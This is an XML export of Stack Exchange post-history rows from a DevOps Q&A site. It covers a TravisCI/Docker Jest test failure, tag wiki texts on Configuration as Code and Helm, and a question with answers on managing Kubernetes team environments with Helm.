  <row Id="21080" PostHistoryTypeId="2" PostId="6639" RevisionGUID="0c8b7f1b-fe0b-4b98-9c74-1f1375a98734" CreationDate="2019-03-17T18:54:12.790" UserId="6282" Text="So I ran my Docker build with TravisCI and I got a failure like so:&#xD;&#xA;&#xD;&#xA;    FAIL src/App.test.js&#xD;&#xA;      ● Test suite failed to run&#xD;&#xA;        TypeError: Cannot assign to read only property 'Symbol(Symbol.toStringTag)' of object '#&lt;process&gt;'&#xD;&#xA;          at exports.default (node_modules/jest-util/build/create_process_object.js:15:34)&#xD;&#xA;&#xD;&#xA;I did not think that this `App.test.js` file would give me problems after I removed the logic from within the `it` block like so:&#xD;&#xA;&#xD;&#xA;    import React from &quot;react&quot;;&#xD;&#xA;    import ReactDOM from &quot;react-dom&quot;;&#xD;&#xA;    import App from &quot;./App&quot;;&#xD;&#xA;    &#xD;&#xA;    it(&quot;renders without crashing&quot;, () =&gt; {});&#xD;&#xA;&#xD;&#xA;I thought the issue may have been the latest release of `node` because I saw others have similar error messages, so I changed my version like so:&#xD;&#xA;&#xD;&#xA;`FROM node:10.15-alpine as builder` OR `FROM node:10.15-alpine` as I have various `Dockerfile`s for each service I am building as this is a multi-container project.&#xD;&#xA;&#xD;&#xA;That change I made did not resolve the issue, TravisCI continues to fail my build with the same exact error, what gives here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21081" PostHistoryTypeId="1" PostId="6639" RevisionGUID="0c8b7f1b-fe0b-4b98-9c74-1f1375a98734" CreationDate="2019-03-17T18:54:12.790" UserId="6282" Text="TravisCI build continues to fail even after changing alpine version" ContentLicense="CC BY-SA 4.0" />
  <row Id="21082" PostHistoryTypeId="3" PostId="6639" RevisionGUID="0c8b7f1b-fe0b-4b98-9c74-1f1375a98734" CreationDate="2019-03-17T18:54:12.790" UserId="6282" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;travis-ci&gt;&lt;node.js&gt;&lt;alpine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21083" PostHistoryTypeId="5" PostId="6639" RevisionGUID="b741d095-051c-49e5-9deb-93e1e693862e" CreationDate="2019-03-17T19:07:40.993" UserId="6282" Comment="added more detail" Text="So I ran my Docker build with TravisCI and I got a failure like so:&#xD;&#xA;&#xD;&#xA;    FAIL src/App.test.js&#xD;&#xA;      ● Test suite failed to run&#xD;&#xA;        TypeError: Cannot assign to read only property 'Symbol(Symbol.toStringTag)' of object '#&lt;process&gt;'&#xD;&#xA;          at exports.default (node_modules/jest-util/build/create_process_object.js:15:34)&#xD;&#xA;&#xD;&#xA;I did not think that this `App.test.js` file would give me problems after I removed the logic from within the `it` block like so:&#xD;&#xA;&#xD;&#xA;    import React from &quot;react&quot;;&#xD;&#xA;    import ReactDOM from &quot;react-dom&quot;;&#xD;&#xA;    import App from &quot;./App&quot;;&#xD;&#xA;    &#xD;&#xA;    it(&quot;renders without crashing&quot;, () =&gt; {});&#xD;&#xA;&#xD;&#xA;I thought the issue may have been the latest release of `node` because I saw others have similar error messages, so I changed my version like so:&#xD;&#xA;&#xD;&#xA;`FROM node:10.15-alpine as builder` OR `FROM node:10.15-alpine` as I have various `Dockerfile`s for each service I am building as this is a multi-container project.&#xD;&#xA;&#xD;&#xA;That change I made did not resolve the issue, TravisCI continues to fail my build with the same exact error, what gives here?&#xD;&#xA;&#xD;&#xA;I thought perhaps the issue would be a version of Jest mismatch, but I have not installed any version of Jest, this is my `package.json` file inside my `client/src/App.test.js`:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;name&quot;: &quot;client&quot;,&#xD;&#xA;      &quot;version&quot;: &quot;0.1.0&quot;,&#xD;&#xA;      &quot;private&quot;: true,&#xD;&#xA;      &quot;dependencies&quot;: {&#xD;&#xA;        &quot;react&quot;: &quot;^16.8.3&quot;,&#xD;&#xA;        &quot;react-dom&quot;: &quot;^16.8.3&quot;,&#xD;&#xA;        &quot;react-scripts&quot;: &quot;2.1.5&quot;,&#xD;&#xA;        &quot;react-router-dom&quot;: &quot;4.3.1&quot;,&#xD;&#xA;        &quot;axios&quot;: &quot;0.18.0&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;scripts&quot;: {&#xD;&#xA;        &quot;start&quot;: &quot;react-scripts start&quot;,&#xD;&#xA;        &quot;build&quot;: &quot;react-scripts build&quot;,&#xD;&#xA;        &quot;test&quot;: &quot;react-scripts test&quot;,&#xD;&#xA;        &quot;eject&quot;: &quot;react-scripts eject&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;eslintConfig&quot;: {&#xD;&#xA;        &quot;extends&quot;: &quot;react-app&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;browserslist&quot;: [&#xD;&#xA;        &quot;&gt;0.2%&quot;,&#xD;&#xA;        &quot;not dead&quot;,&#xD;&#xA;        &quot;not ie &lt;= 11&quot;,&#xD;&#xA;        &quot;not op_mini all&quot;&#xD;&#xA;      ]&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="21084" PostHistoryTypeId="2" PostId="6640" RevisionGUID="21c61c3d-c66e-42f7-a6bb-0e41ba7ceea3" CreationDate="2019-03-17T19:34:21.880" UserId="12936" Text="Negation to the rescue:&#xD;&#xA;&#xD;&#xA;    sed -i &quot;s/server.address=[^\ ].*\ /server.address=${SERVER_ADDRESS} /g&quot;&#xD;&#xA;&#xD;&#xA;This is telling to search zero or more characters (.*) NOT matching whitespace ([^\ ]) up to the first whitespace.&#xD;&#xA;&#xD;&#xA; A good pattern is not to use real values to be replaced (10.111.11.11:3197) but to use a mark like ###SERVER_ADDRESS###. If something goes wrong you can easely post-check with&#xD;&#xA;&#xD;&#xA;    grep &quot;###&quot; &amp;&amp; exit -1&#xD;&#xA;&#xD;&#xA;This can avoid continuing with dangerous values (mixing dev/pre/pro values)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21085" PostHistoryTypeId="5" PostId="6639" RevisionGUID="827e0baf-c881-4f4e-8be3-526d091b5a24" CreationDate="2019-03-17T20:33:41.510" UserId="6282" Comment="added more detail" Text="So I ran my Docker build with TravisCI and I got a failure like so:&#xD;&#xA;&#xD;&#xA;    FAIL src/App.test.js&#xD;&#xA;      ● Test suite failed to run&#xD;&#xA;        TypeError: Cannot assign to read only property 'Symbol(Symbol.toStringTag)' of object '#&lt;process&gt;'&#xD;&#xA;          at exports.default (node_modules/jest-util/build/create_process_object.js:15:34)&#xD;&#xA;&#xD;&#xA;I did not think that this `App.test.js` file would give me problems after I removed the logic from within the `it` block like so:&#xD;&#xA;&#xD;&#xA;    import React from &quot;react&quot;;&#xD;&#xA;    import ReactDOM from &quot;react-dom&quot;;&#xD;&#xA;    import App from &quot;./App&quot;;&#xD;&#xA;    &#xD;&#xA;    it(&quot;renders without crashing&quot;, () =&gt; {});&#xD;&#xA;&#xD;&#xA;I thought the issue may have been the latest release of `node` because I saw others have similar error messages, so I changed my version like so:&#xD;&#xA;&#xD;&#xA;`FROM node:10.15-alpine as builder` OR `FROM node:10.15-alpine` as I have various `Dockerfile`s for each service I am building as this is a multi-container project.&#xD;&#xA;&#xD;&#xA;That change I made did not resolve the issue, TravisCI continues to fail my build with the same exact error, what gives here?&#xD;&#xA;&#xD;&#xA;I thought perhaps the issue would be a version of Jest mismatch, but I have not installed any version of Jest, this is my `package.json` file inside my `client/src/App.test.js`:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;name&quot;: &quot;client&quot;,&#xD;&#xA;      &quot;version&quot;: &quot;0.1.0&quot;,&#xD;&#xA;      &quot;private&quot;: true,&#xD;&#xA;      &quot;dependencies&quot;: {&#xD;&#xA;        &quot;react&quot;: &quot;^16.8.3&quot;,&#xD;&#xA;        &quot;react-dom&quot;: &quot;^16.8.3&quot;,&#xD;&#xA;        &quot;react-scripts&quot;: &quot;2.1.5&quot;,&#xD;&#xA;        &quot;react-router-dom&quot;: &quot;4.3.1&quot;,&#xD;&#xA;        &quot;axios&quot;: &quot;0.18.0&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;scripts&quot;: {&#xD;&#xA;        &quot;start&quot;: &quot;react-scripts start&quot;,&#xD;&#xA;        &quot;build&quot;: &quot;react-scripts build&quot;,&#xD;&#xA;        &quot;test&quot;: &quot;react-scripts test&quot;,&#xD;&#xA;        &quot;eject&quot;: &quot;react-scripts eject&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;eslintConfig&quot;: {&#xD;&#xA;        &quot;extends&quot;: &quot;react-app&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;browserslist&quot;: [&#xD;&#xA;        &quot;&gt;0.2%&quot;,&#xD;&#xA;        &quot;not dead&quot;,&#xD;&#xA;        &quot;not ie &lt;= 11&quot;,&#xD;&#xA;        &quot;not op_mini all&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;None of the solutions above have helped me. You cannot upgrade Jest because react-scripts comes with version 23.x so you are just adding on top of what react-scripts would already have. You cannot upgrade react-scripts so that it will have jest@24 because the latest version has jest@23.&#xD;&#xA;&#xD;&#xA;Changing to v11.10.1 does not help either and within my Dockerfile I have tried changing the 'FROM' in my `Dockerfile` to `FROM node:10.15-alpine` and that has not helped." ContentLicense="CC BY-SA 4.0" />
  <row Id="21086" PostHistoryTypeId="5" PostId="6639" RevisionGUID="daa686c3-2ad8-4116-a0a9-b510781385b7" CreationDate="2019-03-17T20:53:49.277" UserId="6282" Comment="added more detail" Text="So I ran my Docker build with TravisCI and I got a failure like so:&#xD;&#xA;&#xD;&#xA;    FAIL src/App.test.js&#xD;&#xA;      ● Test suite failed to run&#xD;&#xA;        TypeError: Cannot assign to read only property 'Symbol(Symbol.toStringTag)' of object '#&lt;process&gt;'&#xD;&#xA;          at exports.default (node_modules/jest-util/build/create_process_object.js:15:34)&#xD;&#xA;&#xD;&#xA;I did not think that this `App.test.js` file would give me problems after I removed the logic from within the `it` block like so:&#xD;&#xA;&#xD;&#xA;    import React from &quot;react&quot;;&#xD;&#xA;    import ReactDOM from &quot;react-dom&quot;;&#xD;&#xA;    import App from &quot;./App&quot;;&#xD;&#xA;    &#xD;&#xA;    it(&quot;renders without crashing&quot;, () =&gt; {});&#xD;&#xA;&#xD;&#xA;I thought the issue may have been the latest release of `node` because I saw others have similar error messages, so I changed my version like so:&#xD;&#xA;&#xD;&#xA;`FROM node:10.15-alpine as builder` OR `FROM node:10.15-alpine` as I have various `Dockerfile`s for each service I am building as this is a multi-container project.&#xD;&#xA;&#xD;&#xA;That change I made did not resolve the issue, TravisCI continues to fail my build with the same exact error, what gives here?&#xD;&#xA;&#xD;&#xA;I thought perhaps the issue would be a version of Jest mismatch, but I have not installed any version of Jest, this is my `package.json` file inside my `client/src/App.test.js`:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;name&quot;: &quot;client&quot;,&#xD;&#xA;      &quot;version&quot;: &quot;0.1.0&quot;,&#xD;&#xA;      &quot;private&quot;: true,&#xD;&#xA;      &quot;dependencies&quot;: {&#xD;&#xA;        &quot;react&quot;: &quot;^16.8.3&quot;,&#xD;&#xA;        &quot;react-dom&quot;: &quot;^16.8.3&quot;,&#xD;&#xA;        &quot;react-scripts&quot;: &quot;2.1.5&quot;,&#xD;&#xA;        &quot;react-router-dom&quot;: &quot;4.3.1&quot;,&#xD;&#xA;        &quot;axios&quot;: &quot;0.18.0&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;scripts&quot;: {&#xD;&#xA;        &quot;start&quot;: &quot;react-scripts start&quot;,&#xD;&#xA;        &quot;build&quot;: &quot;react-scripts build&quot;,&#xD;&#xA;        &quot;test&quot;: &quot;react-scripts test&quot;,&#xD;&#xA;        &quot;eject&quot;: &quot;react-scripts eject&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;eslintConfig&quot;: {&#xD;&#xA;        &quot;extends&quot;: &quot;react-app&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;browserslist&quot;: [&#xD;&#xA;        &quot;&gt;0.2%&quot;,&#xD;&#xA;        &quot;not dead&quot;,&#xD;&#xA;        &quot;not ie &lt;= 11&quot;,&#xD;&#xA;        &quot;not op_mini all&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;None of the solutions above have helped me. You cannot upgrade Jest because react-scripts comes with version 23.x so you are just adding on top of what react-scripts would already have. You cannot upgrade react-scripts so that it will have jest@24 because the latest version has jest@23.&#xD;&#xA;&#xD;&#xA;Changing to v11.10.1 does not help either and within my Dockerfile I have tried changing the 'FROM' in my `Dockerfile` to `FROM node:10.15-alpine` and that has not helped.&#xD;&#xA;&#xD;&#xA;When I tested it in this manner:&#xD;&#xA;&#xD;&#xA;`docker run -it --rm -v $(PWD):$(PWD) -w $(PWD) node:10.15-alpine npm test`&#xD;&#xA;&#xD;&#xA;it passed!&#xD;&#xA;&#xD;&#xA;     PASS  src/App.test.js (10.163s)&#xD;&#xA;&#xD;&#xA;      ✓ renders without crashing (5ms)&#xD;&#xA;&#xD;&#xA;But it does not pass in TravisCI&#xD;&#xA;&#xD;&#xA;This is my `Dockerfile` for my `client/src` directory:&#xD;&#xA;&#xD;&#xA;    FROM node:10.15-alpine as builder&#xD;&#xA;    WORKDIR '/app'&#xD;&#xA;    COPY package*.json ./&#xD;&#xA;    RUN npm install&#xD;&#xA;    COPY . .&#xD;&#xA;    RUN npm run build&#xD;&#xA;    &#xD;&#xA;    FROM nginx&#xD;&#xA;    EXPOSE 3000&#xD;&#xA;    COPY --from=builder /app/build /usr/share/nginx/html" ContentLicense="CC BY-SA 4.0" />
  <row Id="21087" PostHistoryTypeId="5" PostId="6639" RevisionGUID="1c6586fd-785e-4b9d-8095-8861e9d59a3c" CreationDate="2019-03-17T21:10:23.167" UserId="6282" Comment="added more detail" Text="So I ran my Docker build with TravisCI and I got a failure like so:&#xD;&#xA;&#xD;&#xA;    FAIL src/App.test.js&#xD;&#xA;      ● Test suite failed to run&#xD;&#xA;        TypeError: Cannot assign to read only property 'Symbol(Symbol.toStringTag)' of object '#&lt;process&gt;'&#xD;&#xA;          at exports.default (node_modules/jest-util/build/create_process_object.js:15:34)&#xD;&#xA;&#xD;&#xA;I did not think that this `App.test.js` file would give me problems after I removed the logic from within the `it` block like so:&#xD;&#xA;&#xD;&#xA;    import React from &quot;react&quot;;&#xD;&#xA;    import ReactDOM from &quot;react-dom&quot;;&#xD;&#xA;    import App from &quot;./App&quot;;&#xD;&#xA;    &#xD;&#xA;    it(&quot;renders without crashing&quot;, () =&gt; {});&#xD;&#xA;&#xD;&#xA;I thought the issue may have been the latest release of `node` because I saw others have similar error messages, so I changed my version like so:&#xD;&#xA;&#xD;&#xA;`FROM node:10.15-alpine as builder` OR `FROM node:10.15-alpine` as I have various `Dockerfile`s for each service I am building as this is a multi-container project.&#xD;&#xA;&#xD;&#xA;That change I made did not resolve the issue, TravisCI continues to fail my build with the same exact error, what gives here?&#xD;&#xA;&#xD;&#xA;I thought perhaps the issue would be a version of Jest mismatch, but I have not installed any version of Jest, this is my `package.json` file inside my `client/src/App.test.js`:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;name&quot;: &quot;client&quot;,&#xD;&#xA;      &quot;version&quot;: &quot;0.1.0&quot;,&#xD;&#xA;      &quot;private&quot;: true,&#xD;&#xA;      &quot;dependencies&quot;: {&#xD;&#xA;        &quot;react&quot;: &quot;^16.8.3&quot;,&#xD;&#xA;        &quot;react-dom&quot;: &quot;^16.8.3&quot;,&#xD;&#xA;        &quot;react-scripts&quot;: &quot;2.1.5&quot;,&#xD;&#xA;        &quot;react-router-dom&quot;: &quot;4.3.1&quot;,&#xD;&#xA;        &quot;axios&quot;: &quot;0.18.0&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;scripts&quot;: {&#xD;&#xA;        &quot;start&quot;: &quot;react-scripts start&quot;,&#xD;&#xA;        &quot;build&quot;: &quot;react-scripts build&quot;,&#xD;&#xA;        &quot;test&quot;: &quot;react-scripts test&quot;,&#xD;&#xA;        &quot;eject&quot;: &quot;react-scripts eject&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;eslintConfig&quot;: {&#xD;&#xA;        &quot;extends&quot;: &quot;react-app&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;browserslist&quot;: [&#xD;&#xA;        &quot;&gt;0.2%&quot;,&#xD;&#xA;        &quot;not dead&quot;,&#xD;&#xA;        &quot;not ie &lt;= 11&quot;,&#xD;&#xA;        &quot;not op_mini all&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;None of the solutions above have helped me. You cannot upgrade Jest because react-scripts comes with version 23.x so you are just adding on top of what react-scripts would already have. You cannot upgrade react-scripts so that it will have jest@24 because the latest version has jest@23.&#xD;&#xA;&#xD;&#xA;Changing to v11.10.1 does not help either and within my Dockerfile I have tried changing the 'FROM' in my `Dockerfile` to `FROM node:10.15-alpine` and that has not helped.&#xD;&#xA;&#xD;&#xA;When I tested it in this manner:&#xD;&#xA;&#xD;&#xA;`docker run -it --rm -v $(PWD):$(PWD) -w $(PWD) node:10.15-alpine npm test`&#xD;&#xA;&#xD;&#xA;it passed!&#xD;&#xA;&#xD;&#xA;     PASS  src/App.test.js (10.163s)&#xD;&#xA;&#xD;&#xA;      ✓ renders without crashing (5ms)&#xD;&#xA;&#xD;&#xA;But it does not pass in TravisCI&#xD;&#xA;&#xD;&#xA;This is my `Dockerfile` for my `client/src` directory:&#xD;&#xA;&#xD;&#xA;    FROM node:10.15-alpine as builder&#xD;&#xA;    WORKDIR '/app'&#xD;&#xA;    COPY package*.json ./&#xD;&#xA;    RUN npm install&#xD;&#xA;    COPY . .&#xD;&#xA;    RUN npm run build&#xD;&#xA;    &#xD;&#xA;    FROM nginx&#xD;&#xA;    EXPOSE 3000&#xD;&#xA;    COPY --from=builder /app/build /usr/share/nginx/html&#xD;&#xA;&#xD;&#xA;I even tried changing my `.travis.yml` file to this:&#xD;&#xA;&#xD;&#xA; `- docker run -it --rm -v myproject/react-test node:10.15-alpine npm test -- --coverage`,&#xD;&#xA;&#xD;&#xA;when it was originally this:&#xD;&#xA;&#xD;&#xA;    script:&#xD;&#xA;      - docker run myproject/react-test npm test -- --coverage&#xD;&#xA;&#xD;&#xA;Absolutely nothing appears to be working here." ContentLicense="CC BY-SA 4.0" />
  <row Id="21088" PostHistoryTypeId="5" PostId="1430" RevisionGUID="0dd26a4a-4ec2-4e82-9133-1910a16ba072" CreationDate="2019-03-17T21:55:30.667" UserId="47" Comment="added 1185 characters in body" Text="Configuration as Code (CasC) is describing the configuration of a system, tool, service or resource in a code format, allowing it to be stored, versioned and processed in the same way as code is.&#xD;&#xA;&#xD;&#xA;It is typically used in automated configuration management - as a component of the similar but larger scope Infrastructure as Code.&#xD;&#xA;&#xD;&#xA;Various tools have various ways of using configuration as code:&#xD;&#xA;&#xD;&#xA;- some can configure themselves, for example:&#xD;&#xA;&#xD;&#xA;  - [Atlassian's Bamboo][1]&#xD;&#xA;  - [Jenkins][2]&#xD;&#xA;  - [GoCD Pipelines][3]&#xD;&#xA;&#xD;&#xA;- other, more generic Infrastructure as Code tools use it to configure 3rd party services/tools/resources, for example:&#xD;&#xA;&#xD;&#xA;  - [Chef][4]&#xD;&#xA;  - [Ansible][5]&#xD;&#xA;  - [Google Cloud][6]'s [Platform Config Management][7]&#xD;&#xA;&#xD;&#xA;Related tags:&#xD;&#xA;&#xD;&#xA;- [tag:infrastructure-as-code]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bamboo/what-is-configuration-as-code-894743909.html&#xD;&#xA;  [2]: https://jenkins.io/projects/jcasc/&#xD;&#xA;  [3]: https://www.gocd.org/pipelines-as-code/&#xD;&#xA;  [4]: https://www.chef.io/configuration-management/&#xD;&#xA;  [5]: https://www.ansible.com/use-cases/configuration-management&#xD;&#xA;  [6]: https://cloud.google.com/&#xD;&#xA;  [7]: https://cloud.google.com/csp-config-management/" ContentLicense="CC BY-SA 4.0" />
  <row Id="21089" PostHistoryTypeId="5" PostId="6594" RevisionGUID="7a684022-50a5-40f8-820a-d1df6f276b1e" CreationDate="2019-03-17T21:57:14.337" UserId="210" Comment="added 1 character in body" Text="One could also use the [golang-bitbucket-cloud-build-status-notifier][1] as a replacement. This plugin sends the commit to the right repository.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/golang-bitbucket-cloud-build-status-notifier" ContentLicense="CC BY-SA 4.0" />
  <row Id="21090" PostHistoryTypeId="5" PostId="1430" RevisionGUID="bf34155a-e829-4c37-8fb4-a12a371bc542" CreationDate="2019-03-17T22:12:10.180" UserId="47" Comment="added 34 characters in body" Text="Configuration as Code (CasC) is describing the configuration of a system, tool, service or resource in a code format, allowing it to be stored, versioned and processed in the same way as code is.&#xD;&#xA;&#xD;&#xA;It is typically used in automated configuration management - as a component of the similar but larger scope Infrastructure as Code.&#xD;&#xA;&#xD;&#xA;Various tools have various ways of using configuration as code:&#xD;&#xA;&#xD;&#xA;- some can configure themselves, for example:&#xD;&#xA;&#xD;&#xA;  - [Atlassian's Bamboo][1]&#xD;&#xA;  - [Jenkins][2]&#xD;&#xA;  - [GoCD Pipelines][3]&#xD;&#xA;&#xD;&#xA;- other, more generic Infrastructure as Code tools use it to configure 3rd party services/tools/resources, for example:&#xD;&#xA;&#xD;&#xA;  - [Chef][4]&#xD;&#xA;  - [Ansible][5]&#xD;&#xA;  - [Google Cloud][6]'s [Platform Config Management][7]&#xD;&#xA;&#xD;&#xA;Related tags:&#xD;&#xA;&#xD;&#xA;- [tag:infrastructure-as-code]&#xD;&#xA;- [tag:configuration-management]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bamboo/what-is-configuration-as-code-894743909.html&#xD;&#xA;  [2]: https://jenkins.io/projects/jcasc/&#xD;&#xA;  [3]: https://www.gocd.org/pipelines-as-code/&#xD;&#xA;  [4]: https://www.chef.io/configuration-management/&#xD;&#xA;  [5]: https://www.ansible.com/use-cases/configuration-management&#xD;&#xA;  [6]: https://cloud.google.com/&#xD;&#xA;  [7]: https://cloud.google.com/csp-config-management/" ContentLicense="CC BY-SA 4.0" />
  <row Id="21091" PostHistoryTypeId="2" PostId="6641" RevisionGUID="4233432f-c982-4b52-90a6-754a0d1cdfb7" CreationDate="2019-03-17T22:13:10.347" UserId="10" Text="I'm looking for feedback on how we can improve our team environment and staging deployment process.&#xD;&#xA;We currently have 10 agile teams, and set up our Kubernetes deployments through Helm as follows:&#xD;&#xA;&#xD;&#xA;All our helm charts are in a single git repo. At the top layer of the repo we have a collection of bash scripts (`deploy.sh`, `buildSecrets.sh`, and `buildConfigMaps.sh`) and some json configuration files. (`namespaceCharts.json`, `secrets.json`, `configmaps.json`)&#xD;&#xA;&#xD;&#xA;The two main configuration files are a long list of secrets, which are encrypted, and a long list of config map environment variables, 80% of which are shared between helm charts. The `namespaceCharts.json` defines which charts need to be deployed into each namespace grouping.&#xD;&#xA;&#xD;&#xA;For each environment that we deploy into, we clone the repo, change the values of the  `secrets.json` and `configmaps.json` and then run the scripts passing in our base namespace name. (For example, the team name)&#xD;&#xA;&#xD;&#xA;This results in us basically creating a series of namespaces such as `teamA-frontend` and `TeamA-backend` each of which contains the right microservices with the connection strings to the correct DB etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We are currently hitting a few main roadblocks.  &#xD;&#xA; 1. It's hard to deploy to multiple clusters or new clusters.  &#xD;&#xA; 2. It's hard to get a single source of truth for the configurations.  &#xD;&#xA; 3. It's hard to set up a brand new Team environment because we have to go through the entire configuration file to see what needs to be changed or kept.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have come up with three ways of moving forward, all of which &quot;feel wrong&quot; to me.  &#xD;&#xA;1.  Store all the environment configurations in separate &quot;configurations&quot; git repo.  &#xD;&#xA;2. Create a configuration service with a DB table defining each environment, and create a pub/sub feature to dynamically grab configuration at runtime, as well as dynamically grab configurations in the .sh scripts.  &#xD;&#xA;3. Use ansible or something similar to store the scripts and configurations for each environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Are we doing this all wrong? Are we missing some obvious best practice to do this better? Are one of those three ideas actually the right approach?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21092" PostHistoryTypeId="1" PostId="6641" RevisionGUID="4233432f-c982-4b52-90a6-754a0d1cdfb7" CreationDate="2019-03-17T22:13:10.347" UserId="10" Text="How to manage 10+ team environments with Helm and Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="21093" PostHistoryTypeId="3" PostId="6641" RevisionGUID="4233432f-c982-4b52-90a6-754a0d1cdfb7" CreationDate="2019-03-17T22:13:10.347" UserId="10" Text="&lt;kubernetes&gt;&lt;configuration-management&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21094" PostHistoryTypeId="2" PostId="6642" RevisionGUID="14048e38-04eb-4043-813b-108ade08b147" CreationDate="2019-03-17T22:32:26.313" UserId="47" Text="From [Helm's official page][1]:&#xD;&#xA;&#xD;&#xA;&gt; What is Helm?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Helm helps you manage Kubernetes applications — Helm Charts help you&#xD;&#xA;&gt; define, install, and upgrade even the most complex Kubernetes&#xD;&#xA;&gt; application.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Charts are easy to create, version, share, and publish — so start&#xD;&#xA;&gt; using Helm and stop the copy-and-paste.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The latest version of Helm is maintained by the CNCF - in&#xD;&#xA;&gt; collaboration with Microsoft, Google, Bitnami and the Helm contributor&#xD;&#xA;&gt; community.&#xD;&#xA;&#xD;&#xA;Related tags:&#xD;&#xA;&#xD;&#xA;- [tag:kubernetes]&#xD;&#xA;  [1]: https://helm.sh/" ContentLicense="CC BY-SA 4.0" />
  <row Id="21095" PostHistoryTypeId="1" PostId="6642" RevisionGUID="14048e38-04eb-4043-813b-108ade08b147" CreationDate="2019-03-17T22:32:26.313" UserId="47" ContentLicense="CC BY-SA 4.0" />
  <row Id="21096" PostHistoryTypeId="2" PostId="6643" RevisionGUID="da9e1b45-4bc0-4169-b1bc-9102bb5bf9c3" CreationDate="2019-03-17T22:32:26.313" UserId="47" Text="For questions about Helm - the Kubernetes Package Manager" ContentLicense="CC BY-SA 4.0" />
  <row Id="21097" PostHistoryTypeId="1" PostId="6643" RevisionGUID="da9e1b45-4bc0-4169-b1bc-9102bb5bf9c3" CreationDate="2019-03-17T22:32:26.313" UserId="47" ContentLicense="CC BY-SA 4.0" />
  <row Id="21098" PostHistoryTypeId="4" PostId="6641" RevisionGUID="ab413a3a-6f87-4213-b05c-4b18d37ac8f9" CreationDate="2019-03-17T22:35:49.917" UserId="10" Comment="edited title" Text="How to manage 10+ team environments with Helm and Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21099" PostHistoryTypeId="2" PostId="6644" RevisionGUID="ab984829-f7a6-48bd-86dd-70a8e9c2e8fd" CreationDate="2019-03-17T22:45:46.760" UserId="12938" Text="A service in kubernetes is (mostly) used for internal communication. If you want to access an external resource by domain/ip you can just do so. If you have an IP address and you would like to have some sort of domain connected to it, you could you am service with the external name field set to the up address (we use that for database purposes). An endpoint is automatically created for you when you create an service so you don’t nees to bother with that " ContentLicense="CC BY-SA 4.0" />
  <row Id="21100" PostHistoryTypeId="2" PostId="6645" RevisionGUID="7870e47d-7aaa-49fa-80e7-70deb6fb0b4c" CreationDate="2019-03-17T22:49:26.790" UserId="12939" Text="My 2 cents.  We have similar requirement like you do.  We end up having multiple values files in the form of `values-&lt;namespace&gt;.yaml` and it should come with the defaults set to `values.yaml`&#xD;&#xA;&#xD;&#xA;We also have some shell scripts to deploy to the namespace.  Something like this deploy.sh --namespace app.&#xD;&#xA;&#xD;&#xA;It is not without its problem, the number of files are steadily growing.  But so far we are ok with it." ContentLicense="CC BY-SA 4.0" />
  <row Id="21101" PostHistoryTypeId="2" PostId="6646" RevisionGUID="5146e90b-de34-4d49-9fc4-504b9f28504d" CreationDate="2019-03-17T22:50:32.317" UserId="47" Text="You could extract the common, shareable portions of the scripts which you'd package as either standalone scripts or libraries (depending on the scripting language you use and/or preferences), placed in a shared location (of course, backed by their own repository). &#xD;&#xA;&#xD;&#xA;Then, in the scripts from your code repositories you'd replace the extracted portions with invocations of the scripts (or calls into the libraries) from the shared location.&#xD;&#xA;&#xD;&#xA;Some CI/CD tools *might* be capable of directly invoking the scripts from the shared location, so if there aren't any specific portions in some of the code repo scripts you could drop them completely from those repos." ContentLicense="CC BY-SA 4.0" />
  <row Id="21102" PostHistoryTypeId="2" PostId="6647" RevisionGUID="d8442f2d-1001-4aea-8510-9994c915add2" CreationDate="2019-03-18T01:26:39.363" UserId="6" Text="Usually to access an external API you can just use its URL. But you can create a Service for it if you like, the type of service should be ExternalName as described in the documentation https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types" ContentLicense="CC BY-SA 4.0" />
